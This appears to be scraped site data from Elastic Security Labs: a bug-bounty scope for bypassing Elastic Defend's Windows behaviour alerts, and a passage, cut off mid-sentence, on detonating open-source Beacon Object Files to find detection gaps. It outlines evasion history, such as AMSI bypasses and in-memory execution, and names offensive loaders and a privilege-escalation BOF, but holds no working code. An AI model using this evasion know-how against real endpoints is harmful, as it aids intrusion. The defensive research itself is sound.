Endpoint)\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"High\"}),\": \\u2014\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Critical\"}),\": \\u2014\"]}),`\n`]}),`\n`,(0,i.jsx)(e.h4,{id:\"rule-definition\",children:\"Rule definition\"}),`\n`,(0,i.jsx)(e.p,{children:\"To ensure that submissions are aligned with our priorities, each offering under this category will be scoped to a specific domain, MITRE tactic, or area of interest. This helps us focus on the most critical areas while preventing overly broad submissions.\"}),`\n`,(0,i.jsx)(e.p,{children:\"General examples of specific scopes offered at specific times might include:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Endpoint Rules:\"}),\" Testing for bypasses or privilege escalation rules within macOS, Linux, Windows platforms.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Cloud Rules:\"}),\" Assessing the detection capabilities against identity-based attacks within AWS, Azure, GCP environments.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"SaaS Platform Rules:\"}),\" Validating the detection of OAuth token misuse or API abuse in popular SaaS applications.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.h4,{id:\"submission-guidelines\",children:\"Submission guidelines\"}),`\n`,(0,i.jsx)(e.p,{children:\"To be eligible for a bounty, submissions must:\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Align with the Defined Scope:\"}),\" Submissions should strictly adhere to the specific domain, tactic, or area of interest as outlined in the bounty offering.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Provide Reproducible Results:\"}),\" Include detailed, step-by-step instructions for reproducing the issue.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Demonstrate Significant Impact:\"}),\" Show how the identified gap or bypass could lead to security risks while not triggering any SIEM or EDR rules within the scope of the \",(0,i.jsx)(e.strong,{children:\"Feature Details\"}),\".\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Include Comprehensive Documentation:\"}),\" Provide all necessary code, scripts, or configurations used in the testing process to ensure the issue can be independently validated. The submission includes logs, screenshots, or other evidence showing that the attack successfully bypassed specific rules without triggering alerts, providing clear proof of the issue.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.h4,{id:\"feature-details-scope\",children:\"Feature details scope\"}),`\n`,(0,i.jsx)(e.p,{children:\"For this offering, here are additional details to further scope down submissions for this period:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Target:\"}),\" \",(0,i.jsx)(e.em,{children:\"Windows Behavior Alerts\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Scenario\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Goal: Gain execution of an arbitrary attacker delivered executable on a system protected by Elastic Defend without triggering any alerts\"}),`\n`,(0,i.jsx)(e.li,{children:\"Story: User downloads a single non-executable file from their web browser and opens it. They may click through any security warnings that are displayed by the operating system\"}),`\n`,(0,i.jsx)(e.li,{children:\"Extensions in scope: lnk, js, jse, wsf, wsh, msc, vbs, vbe, chm, psc1, rdp\"}),`\n`,(0,i.jsx)(e.li,{children:\"Entire scenario must occur within 5 minutes, but a reboot is allowed\"}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Relevant MITRE Techniques:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055\",rel:\"nofollow\",children:\"Process Injection, Technique T1055 - Enterprise | MITRE ATT\u0026CK\\xAE\"}),\" into Windows processes\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Lateral Movement via \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1021\",rel:\"nofollow\",children:\"Remote Services, Technique T1021 - Enterprise | MITRE ATT\u0026CK\\xAE\"}),\" and credentials\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1566/001/\",rel:\"nofollow\",children:\"Phishing: Spearphishing Attachment, Sub-technique T1566.001 - Enterprise | MITRE ATT\u0026CK\\xAE\"}),\" (macro enabled docs, script, shortcuts etc.)\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1562/001/\",rel:\"nofollow\",children:\"Impair Defenses: Disable or Modify Tools, Sub-technique T1562.001 - Enterprise | MITRE ATT\u0026CK\\xAE\"}),\" (tampering with agents without administrative privileges techniques or techniques related to tampering with Elastic agent, PPL bypass, BYOVD etc.)\"]}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Additional Success Criteria:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Ideally the bypasses can be combined in one chain (e.g. one payload performing multiple techniques and bypassing multiple existing rules scoped for the same techniques) - to avoid bypasses based solely on our public FP exclusions.\"}),`\n`,(0,i.jsx)(e.li,{children:\"For phishing-based initial access techniques, submissions must clearly specify the delivery method, including how the target receives and interacts with the payload (e.g., email attachment, direct download, or cloud file sharing).\"}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.strong,{children:\"Additional Exclusions:\"})}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Here are some examples of non-acceptable submissions, but not limited to:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Techniques that rely on small x-process WriteProcessMemory\"}),`\n`,(0,i.jsx)(e.li,{children:\"Techniques that rely on sleeps or other timing evasion methods\"}),`\n`,(0,i.jsx)(e.li,{children:\"Techniques that rely on kernel mode attacks and require administrative privileges\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"Techniques that rely on \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1566/\",rel:\"nofollow\",children:\"Phishing, Technique T1566 - Enterprise | MITRE ATT\u0026CK\\xAE\"}),\" that are user assisted beyond initial access (e.g. beyond 2 or more user clicks)\"]}),`\n`,(0,i.jsx)(e.li,{children:\"Techniques that rely on well-documented information already in public repositories or widely recognized within the security community without any novel evasion or modification.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Techniques that rely on legacy / unpatched systems\"}),`\n`,(0,i.jsx)(e.li,{children:\"Techniques that rely on highly specific environmental conditions or external factors that are unlikely to occur in realistic deployment scenarios\"}),`\n`,(0,i.jsx)(e.li,{children:\"Techniques that rely on rule exceptions\"}),`\n`]}),`\n`,(0,i.jsx)(e.h4,{id:\"questions-and-disclosure\",children:\"Questions and disclosure\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Please view our \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/community/security\",rel:\"nofollow\",children:\"Security Issues\"}),\" page for any questions or concerns related to this offering.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"how-to-get-involved\",children:\"How to get involved\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"To participate and learn more, head over to\",(0,i.jsx)(e.a,{href:\"https://hackerone.com/elastic\",rel:\"nofollow\",children:\" HackerOne\"}),\" for complete details on the bounty program, submission guidelines, and reward tiers. We look forward to seeing the contributions from the research community and using these findings to continuously enhance the Elastic Security rulesets. Sign up for a \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/cloud/cloud-trial-overview\",rel:\"nofollow\",children:\"free cloud trial\"}),\" to access Elastic Security!\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.\"})})]})}function T(n={}){let{wrapper:e}=n.components||{};return e?(0,i.jsx)(e,Object.assign({},n,{children:(0,i.jsx)(h,n)})):h(n)}var E=T;return w(k);})();\n;return Component;"},"_id":"articles/behavior-rule-bug-bounty.mdx","_raw":{"sourceFilePath":"articles/behavior-rule-bug-bounty.mdx","sourceFileName":"behavior-rule-bug-bounty.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/behavior-rule-bug-bounty"},"type":"Article","imageUrl":"/assets/images/behavior-rule-bug-bounty/behavior-rule-bug-bounty.jpg","readingTime":"9 min read","series":"","url":"/behavior-rule-bug-bounty","headings":[{"level":2,"title":"Introduction","href":"#introduction"},{"level":2,"title":"Elastic’s security bug bounty program offering ","href":"#elastics-security-bug-bounty-program-offering-"},{"level":2,"title":"A new bounty focus: Elastic Security rule assessments","href":"#a-new-bounty-focus-elastic-security-rule-assessments"},{"level":3,"title":"Why this is important","href":"#why-this-is-important"},{"level":2,"title":"Summary scope and rewards","href":"#summary-scope-and-rewards"},{"level":4,"title":"Time bounds","href":"#time-bounds"},{"level":2,"title":"Current offering","href":"#current-offering"},{"level":3,"title":"Behavior detections","href":"#behavior-detections"},{"level":4,"title":"What we’re looking for","href":"#what-were-looking-for"},{"level":4,"title":"Rule definition","href":"#rule-definition"},{"level":4,"title":"Submission guidelines","href":"#submission-guidelines"},{"level":4,"title":"Feature details scope","href":"#feature-details-scope"},{"level":4,"title":"Questions and disclosure","href":"#questions-and-disclosure"},{"level":2,"title":"How to get involved","href":"#how-to-get-involved"}],"author":[{"title":"Mika Ayenson, PhD","slug":"mika-ayenson","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var a=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)a(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,s)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let o of _(n))!j.call(t,o)\u0026\u0026o!==e\u0026\u0026a(t,o,{get:()=\u003en[o],enumerable:!(s=f(n,o))||s.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(g(t)):{},i(n||!t||!t.__esModule?a(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(a({},\"__esModule\",{value:!0}),t);var m=l((F,c)=\u003e{c.exports=_jsx_runtime});var k={};M(k,{default:()=\u003eh,frontmatter:()=\u003ey});var r=d(m()),y={title:\"Mika Ayenson, PhD\",slug:\"mika-ayenson\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var h=D;return p(k);})();\n;return Component;"},"_id":"authors/mika-ayenson.mdx","_raw":{"sourceFilePath":"authors/mika-ayenson.mdx","sourceFileName":"mika-ayenson.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/mika-ayenson"},"type":"Author","imageUrl":"","url":"/authors/mika-ayenson"},{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"},{"title":"Rodrigo Silva","slug":"rodrigo-silva","description":"Senior Product Security Engineer","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var l=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of x(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026i(t,o,{get:()=\u003ee[o],enumerable:!(a=m(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?g(l(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((F,c)=\u003e{c.exports=_jsx_runtime});var C={};j(C,{default:()=\u003ey,frontmatter:()=\u003eS});var r=p(u()),S={title:\"Rodrigo Silva\",description:\"Senior Product Security Engineer\",slug:\"rodrigo-silva\"};function d(t){return(0,r.jsx)(r.Fragment,{})}function v(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(d,t)})):d(t)}var y=v;return M(C);})();\n;return Component;"},"_id":"authors/rodrigo-silva.mdx","_raw":{"sourceFilePath":"authors/rodrigo-silva.mdx","sourceFileName":"rodrigo-silva.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/rodrigo-silva"},"type":"Author","imageUrl":"","url":"/authors/rodrigo-silva"},{"title":"Jake King","slug":"jake-king","description":"Elastic Security Intelligence Team Lead","image":"jake-king.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var i=Object.defineProperty;var j=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),k=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},c=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of l(e))!d.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=j(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?u(x(t)):{},c(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),_=t=\u003ec(i({},\"__esModule\",{value:!0}),t);var g=f((L,s)=\u003e{s.exports=_jsx_runtime});var D={};k(D,{default:()=\u003eC,frontmatter:()=\u003eM});var r=p(g()),M={title:\"Jake King\",description:\"Elastic Security Intelligence Team Lead\",slug:\"jake-king\",image:\"jake-king.jpg\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function y(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var C=y;return _(D);})();\n;return Component;"},"_id":"authors/jake-king.mdx","_raw":{"sourceFilePath":"authors/jake-king.mdx","sourceFileName":"jake-king.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/jake-king"},"type":"Author","imageUrl":"/assets/images/authors/jake-king.jpg","url":"/authors/jake-king"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Security operations","slug":"security-operations","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var d=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},i(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var u=j((b,c)=\u003e{c.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eM});var r=d(u()),M={title:\"Security operations\",slug:\"security-operations\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return y(F);})();\n;return Component;"},"_id":"categories/security-operations.mdx","_raw":{"sourceFilePath":"categories/security-operations.mdx","sourceFileName":"security-operations.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-operations"},"type":"Category","url":"/categories/security-operations"},{"title":"Vulnerability updates","slug":"vulnerability-updates","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var o=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of d(e))!p.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(f(t)):{},u(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003eu(o({},\"__esModule\",{value:!0}),t);var c=_((X,i)=\u003e{i.exports=_jsx_runtime});var D={};g(D,{default:()=\u003eC,frontmatter:()=\u003ey});var r=j(c()),y={title:\"Vulnerability updates\",slug:\"vulnerability-updates\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var C=M;return b(D);})();\n;return Component;"},"_id":"categories/vulnerability-updates.mdx","_raw":{"sourceFilePath":"categories/vulnerability-updates.mdx","sourceFileName":"vulnerability-updates.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/vulnerability-updates"},"type":"Category","url":"/categories/vulnerability-updates"}]},{"title":"Detonating Beacons to Illuminate Detection Gaps","slug":"detonating-beacons-to-illuminate-detection-gaps","date":"2025-01-09","description":"Learn how Elastic Security leveraged open-source BOFs to achieve detection engineering goals during our most recent ON week.","image":"Security Labs Images 31.jpg","body":{"raw":"\nAt Elastic, we continuously strive to mature our detection engineering processes in scalable ways, leveraging creative approaches to validate and enhance our capabilities. We recently concluded a quarterly Elastic OnWeek event, which we convene quarterly and provides an opportunity to explore problems differently than our regular day-to-day. This time around, we explored the potential of using Beacon Object Files ([BOF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm)) for detection *validation*. We wanted to know how BOFs, combined with Elastic’s internal Detonate Service and the Elastic AI Assistant for Security, could streamline our ability to identify gaps, improve detection coverage, and explore new detection engineering challenges. This builds on our other internal tools and validation efforts, making blue team development more efficient by directly leveraging the improvements in red team development efficiency.\n\n## Tapping into OpenSource Red Team Contributions\n\nThe evolution of offensive tooling in cybersecurity reflects an ongoing arms race between red teams and defenders, marked by continuous innovation on both sides: \n\n* Initially, red teamers leveraged PowerShell, taking advantage of its deep integration with Windows to execute commands and scripts entirely in memory, avoiding traditional file-based operations. \n* This technique was countered by the introduction of the Antimalware Scan Interface ([AMSI](https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal)), which provided real-time inspection to prevent harmful activity. \n* Offensive operators adapted through obfuscation and version downgrades to bypass AMSI’s controls. The focus shifted to C\\# and the .NET CLR (common language runtime), which offered robust capabilities for in-memory execution, evading inconvenient PowerShell-specific protections. \n* AMSI’s expansion to CLR-based scripts (C\\#), prompted the development of tools like [Donut](https://thewover.github.io/Introducing-Donut/), converting .NET assemblies into shellcode to bypass AMSI checks. \n* With process injection becoming a prevalent technique for embedding code into legitimate processes, defenders introduced API hooking to monitor and block such activity. \n* To counter process and syscall detections, red teams migrated to fork-and-run techniques, creating ephemeral processes to execute payloads and quickly terminate, further reducing the detection footprint. \n* The latest innovation in this progression is the use of Beacon Object Files (BOFs), which execute lightweight payloads directly into an existing process’s memory, avoiding fork-and-run mechanisms and eliminating the need for runtime environments like the .NET CLR.\n\nTL;DR: The evolution (EXE --\u003e DLL --\u003e reflective C++ DLL --\u003e PowerShell -\u003e reflective C# -\u003e C BOF --\u003e C++ BOF --\u003e bytecode) was all about writing shellcode more efficiently, and running it with just enough stealth.\n\nWith a growing number of [BOF GitHub contributions](https://github.com/N7WEra/BofAllTheThings) covering multiple techniques, they are ideal for evaluating gaps and exploring procedure-level events. BOFs are generally small C-based programs that execute within the context of a COBALTSTRIKE BEACON agent. Since introduced, they’ve become a staple for red team operations. Even practitioners who don't use COBALTSTRIKE can take advantage of BOFs using third-party loaders, a great example of the ingenuity of the offensive research community. One example used in this exploration is [COFFLoader](https://github.com/trustedsec/COFFLoader), originally [introduced](https://www.trustedsec.com/blog/bofs-for-script-kiddies) in 2023 by TrustedSec, designed to load Common Object File Format (COFF) files. COFFs (the opened standard for BOFs), are essentially your compiled .o object files \\- e.g. BOF with extra support for in-memory execution. Other more recent examples include the rust-based [Coffee](https://github.com/hakaioffsec/coffee) loader by Hakai Security and the GoLang-based implementation [Goffloader](https://github.com/praetorian-inc/goffloader) by Praetorian. \nLoading COFF/BOF objects have become a standard feature in many C2 frameworks such as Havoc, Metasploit, PoshC2, and Sliver, with some directly utilizing COFFLoader for execution. With little setup, prebuilt BOFs and a loader like COFFLoader can quickly enable researchers to test a wide range of specific techniques on their endpoints.\n\n## Experimentation Powered by Detonate\n\nSetting up and maintaining a robust system for BOF execution, VM endpoint testing, and Elastic Security’s Defend in a repeatable manner can be a significant engineering challenge, especially when isolating detonations, collecting results, and testing multiple samples. To streamline this process and make it as efficient as possible, Elastic built the internal Detonate service, which handles the heavy lifting and minimizes the operational overhead.\n\nIf you’re unfamiliar with Elastic’s Internal Detonate service, check out [Part 1 \\- Click, Click…Boom\\!](https://www.elastic.co/security-labs/click-click-boom-automating-protections-testing-with-detonate) where we introduce Detonate, why we built it, explore how Detonate works, describe case studies, and discuss efficacy testing. If you want a deeper dive, head over to [Part 2 \\- Into The Weeds: How We Run Detonate](https://www.elastic.co/security-labs/into-the-weeds-how-we-run-detonate) where we describe the APIs leveraged to automate much of our exploration. It is important to note that Detonate is still a prototype, not yet an enterprise offering, and as such, we’re experimenting with its potential applications and fine-tuning its capabilities. \n\nFor this ON week project, the complexity was distilled down to one API call that uploads and executes the BOF, and a subsequent optional second API call to fetch behavior alert results.\n\n## Validating Behavior Detections via BOFs\n\nWe used automation for the tedious behind-the-scenes work because ON week is about the more interesting research findings, but we wanted to share some of the challenges and pain points of this kind of technology in case you're interested in building your own detonation framework. If you’re interested in following along in general, we’ll walk through some of the nuances and pain points.\n\n\n\nAt a high level, this depicts an overview of the different components integrated into the automation. All of the core logic was centralized into a simple CLI POC tool to help manage the different phases of the experiment. \n\n## Framing a Proof of Concept\n\nThe CLI provides sample commands to analyze a sample BOF’s .c source file, execute BOF’s within our Detonate environment, monitor specific GitHub repositories for BOF changes, and show detonation results with query recommendations if they’re available. \n\n\n\n### Scraping and Preprocessing BOFs \\- Phases 1 and 2\n\nFor a quickstart guide, navigate to [BofAllTheThings](https://github.com/N7WEra/BofAllTheThings), which includes several GitHub repositories worth starting with. The list isn’t actively maintained, so with some Github [topic searches for `bof`](https://github.com/topics/bof), you may encounter more consistently updated examples like [nanodump](https://github.com/fortra/nanodump). \n\nStandardizing BOFs to follow a common format significantly improves the experimentation and repeatability. Different authors name their `.c` source and `.o` BOF files differently so to streamline the research process, we followed TrustedSec’s [CONTRIBUTING](https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/CONTRIBUTING.md) guide and file conventions to consistently name files and place them in a common folder structure. We generally skipped GitHub repositories that did not include source with their BOFs (because we wanted to be certain of what they were doing *before* executing them), and prioritized examples with Makefiles. As each technique was processed, they were manually formatted to follow the conventions (e.g. renaming the main `.c` file to `entry.c`, compiling with a matching file and directory name, etc.).\n\nWith the BOFs organized, we were able to parse the entry files, search for the `go` method that defines the key functions and arguments. We parse these arguments and convert them to hex, similarly to the way [beacon\\_generate.py](https://github.com/trustedsec/COFFLoader/blob/main/beacon_generate.py) does, before shipping the BOF and all accompanying materials to Detonate.\n\n\n\nAfter preprocessing the arguments, we stored them locally in a `json` file and retrieved the contents whenever we wanted to detonate the BOF or all BOFs.\n\n### Submitting Detonations \\- Phase 3\n\nThere is a `detonate` command and `detonate-all` that uploads the local BOF to the Detonate VM instance with the arguments. When a Detonate task is created, metadata about the BOF job is stored locally so that results can be retrieved later. \n \n\n\nFor detection engineering and regression testing, detonating all BOF files enables us to submit a periodic long-lasting job, starting with deploying and configuring virtual machines and ending with submitting generative AI completions for detection recommendations.\n\n### BOF Detonate Examples \n\nUp to this point, the setup is primarily a security research engineering effort. The detection engineering aspect begins when we can start analyzing results, investigating gaps, and developing additional rules. Each BOF submitted is accompanied by a Detonate job that describes the commands executed, execution logs, and any detections. In these test cases, different detections appeared during different aspects of the test (potential shellcode injection, malware detection, etc.). The following BOFs were selected based on their specific requirements for arguments, which were generated using the [beacon\\_generate.py](https://github.com/trustedsec/COFFLoader/blob/main/beacon_generate.py) script, as previously explained. Some BOFs require arguments to be passed to them during execution, and these arguments are crucial for tailoring the behaviour of the BOF to the specific test case scenario. The table below lists the BOFs explored in this section:\n\n| BOF | Type of BOF | Arguments Expected |\n| :---- | :---- | :---- |\n| netuser | Enumeration | \\[username\\] \\[opt: domain\\] |\n| portscan | Enumeration | \\[ipv4\\] \\[opt: port\\] |\n| Elevate-System-Trusted-BOF | Privilege Escalation | None |\n| etw | Logging Manipulation | None |\n| RegistryPersistence | Persistence | None (See notes below) |\n\nBOF Used: [PortScan](https://github.com/rvrsh3ll/BOF_Collection/tree/master/Network/PortScan) \nPurpose: Enumeration technique that scans a single port on a remote host.\n\n\n\nThe detonation log shows expected output of `COFFLoader64.exe` loading the `portscan.x64.o` sample, showing that port `22` was not open as expected on the test machine. Note: In this example two detections were triggered in comparison to the `netuser` BOF execution.\n\nBOF Used: [Elevate-System-Trusted-BOF](https://github.com/Mr-Un1k0d3r/Elevate-System-Trusted-BOF) \nPurpose: This BOF can be used to elevate the current beacon to SYSTEM and obtain the TrustedInstaller group privilege. The impersonation is done through the `SetThreadToken` API. \n\n\n\nThe detonation log shows expected output of `COFFLoader64.exe` successfully loading and executing the `elevate_system.x64.o` BOF. The log confirms the BOF’s intended behavior, elevating the 